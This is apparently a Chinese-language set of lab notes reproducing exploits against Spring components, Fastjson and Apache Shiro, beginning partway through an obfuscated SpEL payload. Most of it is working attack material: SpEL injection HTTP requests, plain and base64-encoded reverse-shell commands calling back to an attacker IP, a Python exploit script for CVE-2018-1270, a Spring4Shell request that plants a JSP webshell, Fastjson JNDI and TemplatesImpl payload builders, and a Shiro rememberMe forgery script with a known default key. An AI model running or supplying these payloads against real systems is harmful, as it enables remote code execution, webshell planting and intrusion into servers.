(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}替换response_type值发包image.png反弹shell成功image.png

Spring WebFlow远程代码执行(CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。影响版本Spring WebFlow 2.4.0 - 2.4.4http://192.168.48.133:8080/hotels/1image.png这里有默认的账号密码image.png登陆后image.png点击confirm抓包image.png漏洞触发点在这里payload构造&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>&+/dev/tcp/192.168.48.144/6665+0>&1")).start()=vulhubimage.png反弹shell成功image.png

Spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046)

漏洞原理Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码image.pngpayload其中数字的构造payload = b'touch /tmp/success'bytecode = ','.join(str(i) for i in list(payload))print(bytecode)

PATCH/customers/1HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

反弹shellbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,52,76,106,69,48,78,67,56,50,78,106,89,49,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125记得修改Content-Type: application/json-patch+jsonimage.png反弹shell成功image.png

Spring CVE-2018-1270

影响版本Spring Framework 5.0 to 5.0.4Spring Framework 4.3 to 4.3.14EXP利用

#!/usr/bin/env python3import requestsimport randomimport stringimport timeimport threadingimport loggingimport sysimport json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))

class SockJS(threading.Thread):def init(self, url, args, **kwargs): super().init(args, *kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t = int(time.time()1000)

def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5)

def send(self, command, headers, body=''): data = [command.upper(), '\n']

data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)])

response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.")

def del(self): self.session.close()

sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket')sockjs.start()time.sleep(1)

sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'})sockjs.send('subscribe', {'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})','id': 'sub-0','destination': '/topic/greetings'})

data = json.dumps({'name': 'vulhub'})sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'}, data)

image.pngimage.png反弹shell成功

Spring Data Commons RCE漏洞(CVE-2018-1273)

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/"image.png

POST /users?page=&size=5 HTTP/1.1Host: 192.168.48.133:8080Connection: keep-aliveContent-Length: 129Pragma: no-cacheCache-Control: no-cacheOrigin: http://192.168.48.133:8080Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8Referer: http://192.168.48.133:8080/users?page=0&size=5Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch whoami.sh")]=&password=&123repeatedPassword=123

image.pngpython启动http.serverpython -m http.server 8888image.pngbash -i >& /dev/tcp/192.168.48.144/6665 0>&1image.pngpayloadusername#this.getClass().forName("java.lang.Runtime").getRuntime().exec('wget [http://192.168.48.144:8888/whoami6.sh')]=&password=&123repeatedPassword=123]=&password=&123repeatedPassword=123)这里bash反弹成功了 ./执行未成功image.pngimage.png

Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)

漏洞说明2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway Actuator端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。影响版本

  • Spring Cloud Gateway 3.1.x < 3.1.1

  • Spring Cloud Gateway 3.0.x < 3.0.7

  • 旧的、不受支持的版本也会受到影响

python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/"image.pngimage.png

POST /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 310

{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com"}

发送如下数据包触发表达式执行image.png

POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

GET /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

发送如上数据包查看结果image.png

Spring Cloud Function SpEL RCE漏洞(CVE-2022-22963)

漏洞说明 2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。漏洞利用手工复现

POST /functionRouter HTTP/1.1Host: 192.168.68.168:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}")Content-Type: text/plainContent-Length: 6

Test

image.png

image.png

Spring Core RCE漏洞(CVE-2022-22965)

漏洞说明Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。image.png/tomcatwar.jsp?pwd=aabysszg&cmd=whoamiimage.png手工复现GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: 192.168.48.133:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1Content-Length: 2http://192.168.48.133:8080/tomcatwar.jsp?pwd=j&cmd=id

Spring Security 身份认证绕过漏洞 (CVE-2022-22978)

漏洞说明当SpringSecurity中使用RegexRequestMatcher进行权限配置,且规则中使用带点号的正则表达式时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效image.png/admin/%0dtestimage.png/admin/%0atestimage.pngspring漏洞总结spring框架存在敏感信息泄露漏洞,headdump泄露可能回泄露数据库密码等敏感数据,同时有许多的spel表达式注入漏洞,可以导致远程命令执行,还有身份认证绕过漏洞

Fastjson

什么是fastjson?

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

fastjson反序列化漏洞原理

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。fastjson漏洞利用过程编译一个恶意类,启动RMI服务,构造fastjson payload加载远程类,达到命令执行的目的。漏洞复现首先要配置好marshalsec.jar该工具是java反序列化工具,可以快速开启RMI和LDAP服务mvn编译,建议环境JAVA1.8,maven3.6+proxychains4 git clone https://github.com/mbechler/marshalsec.gitmvn clean package -DskipTests

import java.lang.Runtime;

import java.lang.Process;

public class test{

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.ivg4na.dnslog.cn"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {


}

}

}

javac test.javayakit启动dnslogimage.png

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.144:9999/#test" 6666image.pngimage.pngimage.png整体流程1@type 指向com.sun.rowset.JdbcRowSetImpl类该类其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用image.png2远程访问我们启动的rmi服务器,rmi服务器请求加载远程服务器的class,这个class就是我们提前编译上传到服务器的恶意classimage.pngimage.png3.rmi将远程加载得到的class返回给靶机服务器,靶机服务器执行代码image.png反弹shell的利用这里利用JNDI工具bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}-C为命令 -A为攻击机IPjava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.48.144"image.png这里用JDK1.7的成功打通,反弹shellrmi://192.168.48.144:1099/g8gp2eimage.png

fastjson不出网打法利用

fastjson不出网的话我们就没有办法利用这个rmi服务进行远程加载恶意类了本地搭建环境TemplatesImpl打法利用条件苛刻服务端使用parseObject时,必须使用如下格式才能触发漏洞JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

Templateslmplcmd.Java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Templateslmplcmd extends AbstractTranslet {
  public Templateslmplcmd() throws Exception {
      Runtime.getRuntime().exec("calc");
  }
  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  }
  @Override
  public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
  }
}
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.util.Base64;

public class test01 {
  public static void main(String[] args) throws Exception {
      FileInputStream inputFromFile = new FileInputStream("E:\\JAVASEC\\test02\\src\\main\\java\\Templateslmplcmd.class");
      byte[] bs = new byte[inputFromFile.available()];
      inputFromFile.read(bs);
      String encodedBytes = Base64.getEncoder().encodeToString(bs);
      //<=1.2.24
      String payload = "{\r\n"
              + "   \"a\": {\r\n"
              + "       \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
              + "       \"_bytecodes\": [\r\n"
              + "           \""+encodedBytes+"\"\r\n"
              + "       ], \r\n"
              + "       \"_name\": \"aaa\", \r\n"
              + "       \"_tfactory\": { }, \r\n"
              + "       \"_outputProperties\": { }\r\n"
              + "   }\r\n"
              + "}";
      //<1.2.48
//         payload = "{\r\n"
//               + "   \"a\": {\r\n"
//               + "       \"@type\": \"java.lang.Class\", \r\n"
//               + "       \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\r\n"
//               + "   }, \r\n"
//               + "   \"b\": {\r\n"
//               + "       \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
//               + "       \"_bytecodes\": [\r\n"
//               + "           \""+encodedBytes+"\"\r\n"
//               + "       ], \r\n"
//               + "       \"_name\": \"aaa\", \r\n"
//               + "       \"_tfactory\": { }, \r\n"
//               + "       \"_outputProperties\": { }\r\n"
//               + "   }\r\n"
//               + "}";
      System.out.println(payload);
      JSON.parseObject(payload, Feature.SupportNonPublicField);

  }
}

image.pngBCEL不出网打法C3P0二次反序列化打法等等可参考https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md

shiro

shiro漏洞原理介绍shiro的特征的是rememberMe字段rememberMe字段采用的是AES加密+base64编码采用AES加密我们拿到KEY的话就可以解密,服务端会进行base64解码+AES解密进行反序列化,那么拿到KEY便可以进行修改rememberMe的值进行反序列化攻击

shiro-CVE-2016-4437

CVE-2016-4437,影响版本shiro1.24如果未勾选 Remember me,则只能在返回包里看见image.png勾选可看image.png这里是先用工具爆破密钥image.png手工复现,更容易理解漏洞过程key如下kPH+bIxk5D2deZiIxcaaaA==参考网上公开代码如下:::infoimport uuidimport base64from Crypto.Cipher import AES

def encode_rememberme(): f = open('poc.ser','rb') BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext

if name == 'main': payload = encode_rememberme() print("rememberMe={0}".format(payload.decode())):::反弹shell利用bash -i >& /dev/tcp/192.168.48.144/6668 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.serimage.pngimage.pngcookie修改发包image.png反弹shell成功image.png

shiro-CVE-2020-1957

漏洞描述使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过Apache Shiro 对 Spring Boot 中的 Servlet的权限控制,越权并实现未授权访问。漏洞影响版本

  • Apache Shiro < 1.5.1

漏洞复现payload /xxx/..;/admin/ 越权访问后台管理系统image.png

shiro baypasswaf

bypasswaf可参考如下文章http://120.79.21.98:8090/archives/shirobypass

shiro有key无利用链子打法

面试遇见过的问题,除了问shiro反序列化漏洞原理有时候也会问到这个点其实还是有链子的,链子多的话,通过爆破利用链,完成漏洞利用。环境搭建docker pull medicean/vulapps:s_shiro_1docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

image.png